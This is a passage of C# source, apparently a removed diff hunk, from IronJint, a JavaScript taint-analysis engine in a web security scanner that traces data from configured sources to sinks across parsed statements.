null) - { - int StatusIndex = AddToJintStack(Stmt.Source, JintState.Indexer); - Analyze(Stmt.Index); - if (JintStack[StatusIndex].State == JintState.Indexer) - { - List SubItems = RemoveJintStackFrom(StatusIndex + 1); - if (SubItems.Count > 1) - { - JintStack[StatusIndex].SubItems = new List(SubItems); - } - else if (SubItems.Count == 1) - { - if (SubItems[0].State == JintState.Identifier) - { - JintStack[StatusIndex].State = JintState.IdentifierIndex; - JintStack[StatusIndex].Value = SubItems[0].Value; - } - else if (SubItems[0].State == JintState.StringValue) - { - JintStack[StatusIndex].State = JintState.StringIndex; - JintStack[StatusIndex].Value = SubItems[0].Value; - } - else if (SubItems[0].State == JintState.IntValue) - { - JintStack[StatusIndex].State = JintState.IntIndex; - JintStack[StatusIndex].Value = SubItems[0].Value; - } - } - } - } - } - - void Analyze(JsonExpression Stmt) - { - if (IsTimedOut()) return; - SetCurrentLineAndCharNos(Stmt); - if (Stmt.Values != null) - { - foreach(string Name in Stmt.Values.Keys) - { - //if (Name != null) Analyzer.CheckIdentifier(Name); - Analyze(Stmt.Values[Name]); - } - } - } - - void Analyze(MemberExpression Stmt) - { - if (IsTimedOut()) return; - SetCurrentLineAndCharNos(Stmt); - if (Stmt.Previous != null) Analyze(Stmt.Previous); - if (Stmt.Member != null) Analyze(Stmt.Member); - } - - void Analyze(MethodCall Stmt) - { - if (IsTimedOut()) return; - SetCurrentLineAndCharNos(Stmt); - int LineNo = CurrentLineNo; - JintItem LastItem; - if (JintStack.Count > 0) - { - LastItem = JintStack[JintStack.Count - 1]; - if (LastItem.State == JintState.MethodCallArgument || LastItem.State == JintState.MethodName) - { - LastItem = new JintItem(CurrentLineNo, 0, JintState.AnonymousMethod); - JintStack.Add(LastItem); - } - } - else - { - LastItem = new JintItem(CurrentLineNo, 0, JintState.AnonymousMethod); - JintStack.Add(LastItem); - } - int MethodCallIndex = 0; - if (LastItem.State == JintState.Identifier || LastItem.State == JintState.Property || LastItem.State == JintState.Indexer || LastItem.State == JintState.StringIndex || LastItem.State == JintState.IdentifierIndex || LastItem.State == JintState.IntIndex || LastItem.State == JintState.AnonymousMethod || LastItem.LineNo != LineNo) - { - RemoveJintStackFrom(JintStack.Count - 1); - if (LastItem.State == JintState.Identifier || LastItem.State == JintState.Property) - JintStack.Add(new JintItem(LastItem.LineNo, LastItem.CharNo, JintState.MethodCallName, LastItem.Value)); - else - JintStack.Add(new JintItem(LastItem.LineNo, LastItem.CharNo, JintState.MethodCallName, "")); - - LineNo = LastItem.LineNo; - MethodCallIndex = JintStack.Count - 1; - - if (Stmt.Arguments != null) - { - if (Stmt.Arguments.Count > 0) - Analyze(Stmt.Arguments); - else - AddToJintStack(Stmt.Source, JintState.MethodCallArgument); - } - - List MethodRelatedItems = GetMethodItems(MethodCallIndex); - ItemChecker IC = new ItemChecker(this); - List MethodArguments = IC.GetLastMethodArguments(MethodRelatedItems); - List SourcePositions = new List(); - List SinkPositions = new List(); - - for (int i = 0; i < MethodArguments.Count; i++) - { - TaintResult Result = IC.Check(MethodArguments[i].SubItems); - if (Result.SourceTaint) - { - SourcePositions.Add(i); - Result.SourceReasons.Add("Method Argument is a Source"); - AddSourceLine(CurrentLineNo, Result.SourceReasons); - } - if (Result.SinkTaint) - { - SinkPositions.Add(i); - Result.SinkReasons.Add("Method Argument is a Sink"); - AddSinkLine(CurrentLineNo, Result.SinkReasons); - } - } - - foreach (List Template in ArgumentAssignedASourceMethods) - { - if(Template.Count == 0) continue; - TaintResult MethodResult = IC.IsMatch(MethodRelatedItems, Template); - if (MethodResult.NeutralReasons.Count > 0) - { - List TemplateArguments = IC.GetLastMethodArguments(Template); - if(TemplateArguments.Count == 0) continue; - AddSourceLine(LineNo, Template[0].SourceReasons); - if (TemplateArguments.Count == 1 && TemplateArguments[0].SubItems.Count == 0 && SinkPositions.Count > 0) - AddSourceToSinkLine(LineNo); - else if (MethodArguments.Count == TemplateArguments.Count) - { - foreach (int i in SinkPositions) - { - if(TemplateArguments.Count > i) - if(TemplateArguments[i].SubItems.Count > 0) - if(TemplateArguments[i].SubItems[0].State == JintState.MethodCallArgumentTaintPointer) - AddSourceToSinkLine(LineNo); - } - } - } - } - - foreach (List Template in ArgumentAssignedToSinkMethods) - { - if (Template.Count == 0) continue; - TaintResult MethodResult = IC.IsMatch(MethodRelatedItems, Template); - if (MethodResult.NeutralReasons.Count > 0) - { - List TemplateArguments = IC.GetLastMethodArguments(Template); - if (TemplateArguments.Count == 0) continue; - AddSinkLine(LineNo, Template[0].SinkReasons); - if (TemplateArguments.Count == 1 && TemplateArguments[0].SubItems.Count == 0 && SourcePositions.Count > 0) - AddSourceToSinkLine(LineNo); - else if (MethodArguments.Count == TemplateArguments.Count) - { - foreach (int i in SourcePositions) - { - if (TemplateArguments.Count > i) - if (TemplateArguments[i].SubItems.Count > 0) - if (TemplateArguments[i].SubItems[0].State == JintState.MethodCallArgumentTaintPointer) - AddSourceToSinkLine(LineNo); - } - } - } - } - } - else - { - IronException.Report("MethodName missing in IronJint", "LastItem State -" + LastItem.State.ToString()); - } - - if (Stmt.Generics != null) Analyze(Stmt.Generics); - } - - void Analyze(NewExpression Stmt) - { - if (IsTimedOut()) return; - SetCurrentLineAndCharNos(Stmt); - if (Stmt.Arguments != null) Analyze(Stmt.Arguments); - if (Stmt.Expression != null) Analyze(Stmt.Expression); - if (Stmt.Generics != null) Analyze(Stmt.Generics); - } - - void Analyze(Jint.Expressions.Program Stmt) - { - if (IsTimedOut()) return; - SetCurrentLineAndCharNos(Stmt); - if (Stmt.Statements != null) Analyze(Stmt.Statements); - } - - void Analyze(PropertyDeclarationExpression Stmt) - { - if (IsTimedOut()) return; - SetCurrentLineAndCharNos(Stmt); - if (Stmt.Expression != null) Analyze(Stmt.Expression); - if (Stmt.GetExpression != null) Analyze(Stmt.GetExpression); - if (Stmt.SetExpression != null) Analyze(Stmt.SetExpression); - //if (Stmt.Name != null) Analyzer.CheckIdentifier(Stmt.Name); - } - - void Analyze(PropertyExpression Stmt) - { - if (IsTimedOut()) return; - SetCurrentLineAndCharNos(Stmt); - if (Stmt.Text != null) - { - AddToJintStack(Stmt.Source, JintState.Property, Stmt.Text); - } - } - - void Analyze(RegexpExpression Stmt) - { - if (IsTimedOut()) return; - SetCurrentLineAndCharNos(Stmt); - //if (Stmt.Options != null) Analyzer.CheckIdentifier(Stmt.Options); - //if (Stmt.Regexp != null) Analyzer.CheckIdentifier(Stmt.Regexp); - } - - void Analyze(ReturnStatement Stmt) - { - if (IsTimedOut()) return; - SetCurrentLineAndCharNos(Stmt); - if (Stmt.Expression != null) - { - int StatusIndex = JintStack.Count; - Analyze(Stmt.Expression); - if (JintStack.Count > StatusIndex) - { - List ReturnItems = RemoveJintStackFrom(StatusIndex); - if (ReturnItems.Count > 0) - { - ItemChecker IC = new ItemChecker(this); - TaintResult ReturnResult = IC.Check(ReturnItems); - if (ReturnResult.SourceTaint) - AddSourceLine(ReturnItems[0].LineNo, ReturnResult.SourceReasons); - if (ReturnResult.SinkTaint) - AddSinkLine(ReturnItems[0].LineNo, ReturnResult.SinkReasons); - } - } - } - } - - void Analyze(SwitchStatement Stmt) - { - if (IsTimedOut()) return; - SetCurrentLineAndCharNos(Stmt); - if (Stmt.CaseClauses != null) - { - for (int i = 0; i < Stmt.CaseClauses.Count; i++) - { - if (Stmt.CaseClauses[i] != null) Analyze(Stmt.CaseClauses[i]); - } - } - if (Stmt.DefaultStatements != null) Analyze(Stmt.DefaultStatements); - if (Stmt.Expression != null) Analyze(Stmt.Expression); - } - - void Analyze(TernaryExpression Stmt) - { - if (IsTimedOut()) return; - SetCurrentLineAndCharNos(Stmt); - if (Stmt.LeftExpression != null) Analyze(Stmt.LeftExpression); - if (Stmt.MiddleExpression != null) Analyze(Stmt.MiddleExpression); - if (Stmt.RightExpression != null) Analyze(Stmt.RightExpression); - } - - void Analyze(ThrowStatement Stmt) - { - if (IsTimedOut()) return; - SetCurrentLineAndCharNos(Stmt); - if (Stmt.Expression != null) Analyze(Stmt.Expression); - } - - void Analyze(TryStatement Stmt) - { - if (IsTimedOut()) return; - SetCurrentLineAndCharNos(Stmt); - if (Stmt.Catch != null) Analyze(Stmt.Catch); - if (Stmt.Finally != null) Analyze(Stmt.Finally); - if (Stmt.Statement != null) Analyze(Stmt.Statement); - } - - void Analyze(UnaryExpression Stmt) - { - if (IsTimedOut()) return; - SetCurrentLineAndCharNos(Stmt); - - if (Stmt.Type == UnaryExpressionType.Not && Stmt.Expression == null) - { - if (JintStack.Count > 0) - { - if (JintStack[JintStack.Count - 1].State == JintState.MethodCallArgument) - { - JintStack.Add(new JintItem(Stmt.Source, JintState.MethodCallArgumentTaintPointer, this)); - } - } - } - - if (Stmt.Expression != null) - { - Analyze(Stmt.Expression); - } - } - - void Analyze(ValueExpression Stmt) - { - if (IsTimedOut()) return; - SetCurrentLineAndCharNos(Stmt); - if (JintStack.Count == 0) - { - if (Stmt.TypeCode == TypeCode.String) - AddToJintStack(Stmt.Source, JintState.StringValue, Stmt.Value.ToString()); - else - AddToJintStack(Stmt.Source, JintState.NonStringValue, Stmt.Value.ToString()); - return; - } - JintItem LastItem = JintStack[JintStack.Count - 1]; - switch (LastItem.State) - { - case (JintState.Indexer): - if(Stmt.TypeCode == TypeCode.String) - AddToJintStack(Stmt.Source, JintState.StringValue, Stmt.Value.ToString()); - else - AddToJintStack(Stmt.Source, JintState.IntValue, Stmt.Value.ToString()); - break; - default: - AddToJintStack(Stmt.Source, JintState.StringValue, Stmt.Value.ToString()); - break; - } - if (TraceKeyword) - { - List Contexts = GetContextInLine(RawLines[CurrentLineNo - 1], Stmt.Value.ToString()); - if (Contexts.Count == 0 && Stmt.Value.ToString().IndexOf(KeywordToTrace) >= 0) - { - if(Stmt.TypeCode == TypeCode.String) - KeywordContexts.Add("StringValue"); - else - KeywordContexts.Add("NonStringValue"); - } - KeywordContexts.AddRange(Contexts); - } - //Analyzer.CheckIdentifier(Stmt.Value.ToString()); - } - - void Analyze(VariableDeclarationStatement Stmt) - { - if (IsTimedOut()) return; - SetCurrentLineAndCharNos(Stmt); - ItemChecker TC = new ItemChecker(this); - if (Stmt.Identifier != null) - { - List LeftItems = new List() { new JintItem(Stmt.Source, JintState.Identifier, Stmt.Identifier, this)}; - int StatusIndex = AddToJintStack(Stmt.Source, JintState.Identifier, Stmt.Identifier); - - if (Stmt.Expression != null) - { - int RightExpIndex = AddToJintStack(Stmt.Source, JintState.AssignmentExpressionRight); - Analyze(Stmt.Expression); - - List RightItems = RemoveJintStackFrom(RightExpIndex + 1); - - if (Stmt.Expression.GetType().Name.Equals("AssignmentExpression")) - { - Analyze(((AssignmentExpression)Stmt.Expression).Left); - RightItems = RemoveJintStackFrom(RightExpIndex + 1); - } - - List> RightItemParts = ItemChecker.GetItemParts(RightItems); - UpdateMappings(LeftItems, RightItemParts); - - foreach (List RightItemPart in RightItemParts) - { - TaintResult RightResult = TC.Check(RightItemPart); - if (RightResult.SourceTaint) - { - foreach (JintItem Item in LeftItems) - { - Item.SourceReasons.AddRange(RightResult.SourceReasons); - } - AddToSourceObjects(LeftItems); - if (RightItems.Count > 0) - AddSourceLine(RightItemPart[0].LineNo, RightResult.SourceReasons); - else - AddSourceLine(CurrentLineNo, RightResult.SourceReasons); - } - if (RightResult.SinkTaint) - { - foreach (JintItem Item in LeftItems) - { - Item.SinkReasons.AddRange(RightResult.SinkReasons); - } - AddToSinkObjects(LeftItems); - if (RightItems.Count > 0) - AddSinkLine(RightItemPart[0].LineNo, RightResult.SinkReasons); - else - AddSinkLine(CurrentLineNo, RightResult.SinkReasons); - } - } - RemoveJintStackFrom(StatusIndex); - } - } - } - - void Analyze(WhileStatement Stmt) - { - if (IsTimedOut()) return; - SetCurrentLineAndCharNos(Stmt); - if (Stmt.Condition != null) Analyze(Stmt.Condition); - if (Stmt.Statement != null) Analyze(Stmt.Statement); - } - - void Analyze(WithStatement Stmt) - { - if (IsTimedOut()) return; - SetCurrentLineAndCharNos(Stmt); - if (Stmt.Expression != null) - { - if (Stmt.Expression.GetType().Name.Equals("ValueExpression")) - { - ValueExpression ValStmt = (ValueExpression)Stmt.Expression; - if (ValStmt.Value != null) AddToJintStack(Stmt.Source, JintState.WithStringValue, ValStmt.Value.ToString()); - } - else - { - AddToJintStack(Stmt.Source, JintState.WithExpression); - } - Analyze(Stmt.Expression); - } - if (Stmt.Statement != null) Analyze(Stmt.Statement); - } - - //internal static void ShowDefaultTaintConfig() - //{ - // List> AllLists = new List>() { new List(DefaultSourceObjects), new List(DefaultSinkObjects), new List(DefaultSourceReturningMethods), new List(DefaultSinkReturningMethods), new List(DefaultArgumentReturningMethods), new List(DefaultArgumentAssignedASourceMethods), new List(DefaultArgumentAssignedToSinkMethods)}; - // int MaxCount = 0; - // foreach (List List in AllLists) - // { - // if (List.Count > MaxCount) MaxCount = List.Count; - // } - // foreach (List List in AllLists) - // { - // while (List.Count < MaxCount) - // { - // List.Add(""); - // } - // } - // //IronUI.SetTaintConfig(AllLists, MaxCount); - //} - - internal void SetSourcesAndSinks(List SourceObjs, List SinkObjs, List SourceRetMets, List SinkRetMets, List ArgRetMets, List ArgAssASourceMets, List ArgAssToSinkMets) - { - SetSourceObjects(SourceObjs); - SetSinkObjects(SinkObjs); - SetSourceReturningMethods(SourceRetMets); - SetSinkReturningMethods(SinkRetMets); - SetArgumentReturningMethods(ArgRetMets); - SetArgumentAssignedToSinkMethods(ArgAssToSinkMets); - SetArgumentAssignedASourceMethods(ArgAssASourceMets); - this.RawLines.Clear(); - } - - internal void SetSourceObjects(List Taints) - { - SourceObjects.Clear(); - - foreach (string RawLine in Taints) - { - JintStack.Clear(); - Analyze(RawLine); - foreach (JintItem Item in JintStack) - { - Item.SourceReasons.Add("Preconfigured SourceObject"); - } - SourceObjects.Add(new List(JintStack)); - JintStack.Clear(); - } - } - - internal void SetSinkObjects(List Taints) - { - SinkObjects.Clear(); - - foreach (string RawLine in Taints) - { - JintStack.Clear(); - Analyze(RawLine); - foreach (JintItem Item in JintStack) - { - Item.SinkReasons.Add("Preconfigured SinkObject"); - } - SinkObjects.Add(new List(JintStack)); - JintStack.Clear(); - } - } - - internal void SetSourceReturningMethods(List Taints) - { - SourceReturningMethods.Clear(); - - foreach (string RawLine in Taints) - { - JintStack.Clear(); - Analyze(RawLine); - foreach (JintItem Item in JintStack) - { - Item.SourceReasons.Add("Preconfigured SourceReturningMethod"); - } - SourceReturningMethods.Add(new List(JintStack)); - JintStack.Clear(); - } - } - - internal void SetSinkReturningMethods(List Taints) - { - SinkReturningMethods.Clear(); - - foreach (string RawLine in Taints) - { - JintStack.Clear(); - Analyze(RawLine); - foreach (JintItem Item in JintStack) - { - Item.SourceReasons.Add("Preconfigured SinkReturningMethod"); - } - SinkReturningMethods.Add(new List(JintStack)); - JintStack.Clear(); - } - } - - internal void SetArgumentReturningMethods(List Taints) - { - - ArgumentReturningMethods.Clear(); - - foreach (string RawLine in Taints) - { - JintStack.Clear(); - Analyze(RawLine); - ArgumentReturningMethods.Add(new List(JintStack)); - JintStack.Clear(); - } - } - - internal void SetArgumentAssignedToSinkMethods(List Taints) - { - - ArgumentAssignedToSinkMethods.Clear(); - - foreach (string RawLine in Taints) - { - JintStack.Clear(); - Analyze(RawLine); - ArgumentAssignedToSinkMethods.Add(new List(JintStack)); - JintStack.Clear(); - } - } - - internal void SetArgumentAssignedASourceMethods(List Taints) - { - - ArgumentAssignedASourceMethods.Clear(); - - foreach (string RawLine in Taints) - { - JintStack.Clear(); - Analyze(RawLine); - ArgumentAssignedASourceMethods.Add(new List(JintStack)); - JintStack.Clear(); - } - } - - internal void SetSources(string Sources) - { - List SourceLines = new List(Sources.Split(new string[]{"\r\n"}, StringSplitOptions.RemoveEmptyEntries)); - - JintStack.Clear(); - SourceItems.Clear(); - - foreach (string RawLine in SourceLines) - { - JintStack.Clear(); - Analyze(RawLine); - SourceItems.Add(new List(JintStack)); - JintStack.Clear(); - } - } - - internal void SetSinks(string Sinks) - { - List SinkLines = new List(Sinks.Split(new string[] { "\r\n" }, StringSplitOptions.RemoveEmptyEntries)); - - JintStack.Clear(); - SinkItems.Clear(); - - foreach (string RawLine in SinkLines) - { - JintStack.Clear(); - Analyze(RawLine); - SinkItems.Add(new List(JintStack)); - JintStack.Clear(); - } - } - - List RemoveJintStackFrom(int Index) - { - List Items = new List(); - if (JintStack.Count > Index) - { - for (int i = Index; i < JintStack.Count; i++) - { - Items.Add(JintStack[i]); - } - JintStack.RemoveRange(Index, JintStack.Count - Index); - } - return Items; - } - - int AddToJintStack(Jint.Debugger.SourceCodeDescriptor Source, JintState State) - { - return AddToJintStack(Source, State, ""); - } - - int AddToJintStack(Jint.Debugger.SourceCodeDescriptor Source, JintState State, string Value) - { - JintStack.Add(new JintItem(Source, State, Value, this)); - return (JintStack.Count - 1); - } - - List GetMethodItems(int MethodCallIndex) - { - List MethodItems = new List(); - int LineNo = 0; - if (JintStack.Count <= MethodCallIndex) return MethodItems; - LineNo = JintStack[MethodCallIndex].LineNo; - if (LineNo == 0) LineNo = CurrentLineNo; - - bool TopReached = false; - int StartPointer = MethodCallIndex; - while (!TopReached) - { - TopReached = true; - StartPointer--; - if (StartPointer >= 0 && JintStack[StartPointer].LineNo == LineNo) - { - switch (JintStack[StartPointer].State) - { - case(JintState.AssignmentExpressionLeft): - case (JintState.AssignmentExpressionRight): - case (JintState.WithStringValue): - case (JintState.WithExpression): - TopReached = true; - StartPointer++; - break; - case(JintState.Identifier): - TopReached = true; - break; - default: - TopReached = false; - break; - } - } - else - { - StartPointer++; - } - } - bool BottomReached = false; - int EndPointer = MethodCallIndex; - while (!BottomReached) - { - BottomReached = true; - EndPointer++; - if (EndPointer < JintStack.Count) - { - if (JintStack[EndPointer].State == JintState.MethodCallArgument) - { - BottomReached = false; - } - else - { - BottomReached = true; - EndPointer--; - } - } - else - { - EndPointer--; - } - } - for (int i = StartPointer; i <= EndPointer; i++) - { - MethodItems.Add(JintStack[i]); - } - return MethodItems; - } - - void SetCurrentLineAndCharNos(Statement Stmt) - { - if (Stmt != null) - { - if (Stmt.Source != null) - { - CurrentLineNo = Stmt.Source.Start.Line; - CurrentCharNo = Stmt.Source.Start.Char; - } - } - } - - void AddToSourceObjects(List Item) - { - if (Item.Count > 0) - { - if (SourceLinesToIgnore.Contains(Item[0].LineNo)) return; - } - foreach(List Tainted in SourceObjects) - { - if (ItemChecker.IsSimilar(Item, Tainted)) return; - } - SourceObjects.Add(Item); - } - - void AddToSinkObjects(List Item) - { - if (Item.Count > 0) - { - if (SinkLinesToIgnore.Contains(Item[0].LineNo)) return; - } - foreach (List Tainted in SinkObjects) - { - if (ItemChecker.IsSimilar(Item, Tainted)) return; - } - SinkObjects.Add(Item); - } - - void RemoveFromSourceTaintedItems(List Item) - { - if (Item.Count > 0) - { - if (SourceLinesToInclude.Contains(Item[0].LineNo)) return; - } - int RemoveIndex = -1; - for (int i=0; i< SourceTaintedItems.Count; i++) - { - List Tainted = SourceTaintedItems[i]; - if (ItemChecker.IsSimilar(Item, Tainted)) RemoveIndex = i; - } - if (RemoveIndex >= 0) - SourceTaintedItems.RemoveAt(RemoveIndex); - } - - void RemoveFromSinkTaintedItems(List Item) - { - if (Item.Count > 0) - { - if (SinkLinesToInclude.Contains(Item[0].LineNo)) return; - } - int RemoveIndex = -1; - for (int i = 0; i < SinkTaintedItems.Count; i++) - { - List Tainted = SinkTaintedItems[i]; - if (ItemChecker.IsSimilar(Item, Tainted)) RemoveIndex = i; - } - if (RemoveIndex >= 0) - SinkTaintedItems.RemoveAt(RemoveIndex); - } - - void AddSourceLine(int LineNo, List SourceReaons) - { - if (LineNo == 0) LineNo = CurrentLineNo; - if (SourceLinesToIgnore.Contains(LineNo)) return; - if (!SourceLines.Contains(LineNo)) SourceLines.Add(LineNo); - - if (SourceReasons.ContainsKey(LineNo)) - SourceReasons[LineNo].AddRange(SourceReaons); - else - SourceReasons.Add(LineNo, SourceReaons); - - //if (StartedFromUI && PauseAtTaint) - //{ - // if (SourceToSinkLines.Contains(LineNo)) - // IronUI.SetJSTaintTraceLine("SourceToSink", LineNo); - // else if(SinkLines.Contains(LineNo)) - // IronUI.SetJSTaintTraceLine("SourcePlusSink", LineNo); - // else - // IronUI.SetJSTaintTraceLine("Source", LineNo); - // IronUI.ShowTaintReasons(LineNo, IronJint.UIIJ.GetSourceReasons(LineNo), IronJint.UIIJ.GetSinkReasons(LineNo)); - // PauseAtTaintLine(LineNo); - // IronUI.ShowTaintReasons(LineNo, new List(), new List()); - //} - } - void AddSinkLine(int LineNo, ListSinkReaons) - { - if (LineNo == 0) LineNo = CurrentLineNo; - if (SinkLinesToIgnore.Contains(LineNo)) return; - if (!SinkLines.Contains(LineNo)) SinkLines.Add(LineNo); - - if (SinkReasons.ContainsKey(LineNo)) - SinkReasons[LineNo].AddRange(SinkReaons); - else - SinkReasons.Add(LineNo,SinkReaons); - - //if (StartedFromUI && PauseAtTaint) - //{ - // if (SourceToSinkLines.Contains(LineNo)) - // IronUI.SetJSTaintTraceLine("SourceToSink", LineNo); - // else if (SourceLines.Contains(LineNo)) - // IronUI.SetJSTaintTraceLine("SourcePlusSink", LineNo); - // else - // IronUI.SetJSTaintTraceLine("Sink", LineNo); - // IronUI.ShowTaintReasons(LineNo, IronJint.UIIJ.GetSourceReasons(LineNo), IronJint.UIIJ.GetSinkReasons(LineNo)); - // PauseAtTaintLine(LineNo); - // IronUI.ShowTaintReasons(LineNo, new List(), new List()); - //} - } - void AddSourceToSinkLine(int LineNo) - { - if (LineNo == 0) LineNo = CurrentLineNo; - if (SourceLinesToIgnore.Contains(LineNo) || SinkLinesToIgnore.Contains(LineNo)) return; - if (!SourceToSinkLines.Contains(LineNo)) SourceToSinkLines.Add(LineNo); - //if (StartedFromUI && PauseAtTaint) - //{ - // IronUI.SetJSTaintTraceLine("SourceToSink", LineNo); - // IronUI.ShowTaintReasons(LineNo, IronJint.UIIJ.GetSourceReasons(LineNo), IronJint.UIIJ.GetSinkReasons(LineNo)); - // PauseAtTaintLine(LineNo); - // IronUI.ShowTaintReasons(LineNo, new List(), new List()); - //} - } - - //void PauseAtTaintLine(int LineNo) - //{ - // MSR.Reset(); - // IronUI.ShowTraceContinuteButton(); - // IronUI.ShowTraceStatus("Paused at Taint. Line No: " + LineNo.ToString(), false); - // MSR.WaitOne(); - // IronUI.RemoveTaintPauseMarker(LineNo); - // IronUI.ShowTraceStatus("Trace in progress...", false); - //} - - string GetPropertyValue(List Item) - { - return ""; - } - - void SetPropertyValue(List Item, string Value) - { - - } - - void ClearAllTaint() - { - SourceLines.Clear(); - SinkLines.Clear(); - SourceToSinkLines.Clear(); - SourceTaintedItems.Clear(); - SinkTaintedItems.Clear(); - } - - internal void StoreStringObject(List Object, string Value) - { - if (Value.Length == 0) return; - string ExistingValue = GetStringObject(Object); - if (ExistingValue.Equals(Value)) return; - - if (ExistingValue.Length > 0) - { - int RemovalIndex = -1; - for (int i = 0; i < InterestingStringHolders[ExistingValue].Count; i++) - { - ItemChecker IC = new ItemChecker(this); - if (IC.DoItemsMatch(InterestingStringHolders[ExistingValue][i], Object).NeutralReasons.Count > 0) RemovalIndex = i; - } - if (RemovalIndex >= 0) InterestingStringHolders[ExistingValue].RemoveAt(RemovalIndex); - } - - if (InterestingStringHolders.ContainsKey(Value)) - InterestingStringHolders[Value].Add(Object); - else - InterestingStringHolders.Add(Value, new List>() { Object }); - } - - internal string GetStringObject(List Object) - { - bool FirstCheck = true; - ItemChecker IC = new ItemChecker(this); - int AddedAt = 0; - - foreach (List StrItem in SentForStringConversion) - { - if (ItemChecker.IsSimilar(Object, StrItem)) - { - FirstCheck = false; - break; - } - } - - if (FirstCheck) - { - SentForStringConversion.Add(Object); - AddedAt = SentForStringConversion.Count - 1; - } - - foreach (string Key in InterestingStringHolders.Keys) - { - foreach (List Item in InterestingStringHolders[Key]) - { - if (FirstCheck) - { - if (IC.DoItemsMatch(Item, Object).NeutralReasons.Count > 0) - { - SentForStringConversion.RemoveAt(AddedAt); - return Key; - } - } - else - { - if (ItemChecker.IsSimilar(Item, Object)) return Key; - } - } - } - if (FirstCheck) SentForStringConversion.RemoveAt(AddedAt); - return ""; - } - - internal void RemoveStringObject(List Object) - { - foreach (string Key in InterestingStringHolders.Keys) - { - List RemoveIndexes = new List(); - int Index = -1; - foreach (List Item in InterestingStringHolders[Key]) - { - Index++; - ItemChecker IC = new ItemChecker(this); - if (IC.DoItemsMatch(Item, Object).NeutralReasons.Count > 0) RemoveIndexes.Add(Index); - } - for (int i = 0; i < RemoveIndexes.Count; i++ ) - { - InterestingStringHolders[Key].RemoveAt(RemoveIndexes[i] - i); - } - } - } - - internal void UpdateMappings(List LeftItem, List>RightItems) - { - if (RightItems.Count != 1) return; - List RightItem = RightItems[0]; - - string ExistingValue = GetStringObject(RightItem); - if (ExistingValue.Length > 0) - { - StoreStringObject(LeftItem, ExistingValue); - } - else - { - if (RightItem.Count == 1) - { - if (RightItem[0].State == JintState.StringValue) - { - StoreStringObject(LeftItem, RightItem[0].Value); - return; - } - else - { - RemoveStringObject(LeftItem); - } - } - else - { - RemoveStringObject(LeftItem); - } - } - - foreach (string StoredString in InterestingStringHolders.Keys) - { - List> ItemsToAdd = new List>(); - foreach (List ListItem in InterestingStringHolders[StoredString]) - { - List ResultItem = GetMappedItem(LeftItem, RightItem, ListItem); - if (ResultItem.Count > 0) ItemsToAdd.Add(ResultItem); - } - if (ItemsToAdd.Count > 0) InterestingStringHolders[StoredString].AddRange(ItemsToAdd); - } - - List>> AllLists = new List>>() { SourceObjects, SinkObjects, SourceReturningMethods, SinkReturningMethods, ArgumentReturningMethods, ArgumentAssignedToSinkMethods, ArgumentAssignedASourceMethods}; - foreach (List> List in AllLists) - { - List> ItemsToAdd = new List>(); - foreach (List ListItem in List) - { - List ResultItem = GetMappedItem(LeftItem, RightItem, ListItem); - if (ResultItem.Count > 0) ItemsToAdd.Add(ResultItem); - } - if (ItemsToAdd.Count > 0) List.AddRange(ItemsToAdd); - } - } - - List GetMappedItem(List LeftItem, List RightItem, List List) - { - List EmptyResult = new List(); - if (RightItem.Count == 0 || LeftItem.Count == 0 || List.Count == 0) return EmptyResult; - - ItemChecker IC = new ItemChecker(this); - if (IC.DoItemsMatch(List, RightItem, false).NeutralReasons.Count == 0) return EmptyResult; - int RightMatchStopIndex = -1; - if (RightItem[0].State == JintState.Identifier && LeftItem[0].State == JintState.Identifier && (List[0].State == JintState.Identifier || List[0].State == JintState.MethodCallName)) - { - if (RightItem[0].Value.Equals(List[0].Value)) - RightMatchStopIndex++; - else - return EmptyResult; - for (int i = 1; i < RightItem.Count; i++) - { - if ((RightItem[i].State == JintState.Property || RightItem[i].State == JintState.StringIndex) && (List.Count > i) && - (List[i].State == JintState.Property || List[i].State == JintState.StringIndex || List[i].State == JintState.MethodCallName)) - { - if (RightItem[i].Value.Equals(List[i].Value)) - RightMatchStopIndex++; - else - break; - } - else - break; - } - } - else - { - return EmptyResult; - } - if (RightMatchStopIndex < RightItem.Count -1) return EmptyResult; - List ResultItem = new List(LeftItem); - for (int i = RightMatchStopIndex + 1; i < List.Count; i++) - { - if (List[i].State == JintState.MethodCallArgument) - { - if (i > 0 && ResultItem.Count > 0) - { - if (ResultItem[ResultItem.Count - 1].State == JintState.Identifier || ResultItem[ResultItem.Count - 1].State == JintState.Property) - ResultItem[ResultItem.Count - 1].State = JintState.MethodCallName; - } - } - ResultItem.Add(List[i]); - } - return ResultItem; - } - - internal bool IsInterestingString(string Value) - { - bool Result = false; - Result = IsInterestingString(Value, SourceObjects); - if (Result) return Result; - Result = IsInterestingString(Value, SinkObjects); - if (Result) return Result; - Result = IsInterestingString(Value, SourceReturningMethods); - if (Result) return Result; - Result = IsInterestingString(Value, SinkReturningMethods); - if (Result) return Result; - Result = IsInterestingString(Value, ArgumentReturningMethods); - if (Result) return Result; - Result = IsInterestingString(Value, ArgumentAssignedToSinkMethods); - if (Result) return Result; - Result = IsInterestingString(Value, ArgumentAssignedASourceMethods); - return Result; - } - - bool IsInterestingString(string Value, List> LookUpList) - { - foreach (List Items in LookUpList) - { - foreach (JintItem Item in Items) - { - switch(Item.State) - { - case(JintState.Identifier): - case (JintState.Property): - case (JintState.MethodCallName): - case (JintState.MethodName): - if (Item.Value.Equals(Value)) return true; - break; - } - } - } - return false; - } - - internal bool IsTimedOut() - { - if (AnalyzeCallStartTime == 0) - { - AnalyzeCallStartTime = DateTime.Now.Ticks; - } - else - { - if (TimeSpan.FromTicks(DateTime.Now.Ticks - AnalyzeCallStartTime).TotalMilliseconds > 2000) - { - throw new TimeoutException(); - } - else if (TimeSpan.FromTicks(DateTime.Now.Ticks - AnalyzeCallStartTime).TotalMilliseconds > 1000) - { - return true; - } - } - return false; - } - - internal List GetSourceReasons(int LineNo) - { - List Reasons = new List(); - lock(SourceReasons) - { - if (SourceReasons.ContainsKey(LineNo)) - Reasons.AddRange(SourceReasons[LineNo]); - } - return Reasons; - } - - internal List GetSinkReasons(int LineNo) - { - List Reasons = new List(); - lock (SinkReasons) - { - if (SinkReasons.ContainsKey(LineNo)) - Reasons.AddRange(SinkReasons[LineNo]); - } - return Reasons; - } - - static List GetContextInLine(string Code, string Keyword) - { - int MatchPosition = 0; - List Contexts = new List(); - if (Keyword.Length == 0) return Contexts; - char[] CodeArray = Code.ToCharArray(); - while (MatchPosition < Code.Length && (MatchPosition = Code.IndexOf(Keyword, MatchPosition + 1)) >= 0 ) - { - if (MatchPosition > 0) - { - if (CodeArray[MatchPosition - 1] == '\'') - Contexts.Add("SingleQuoteStringValue"); - else if (CodeArray[MatchPosition - 1] == '"') - 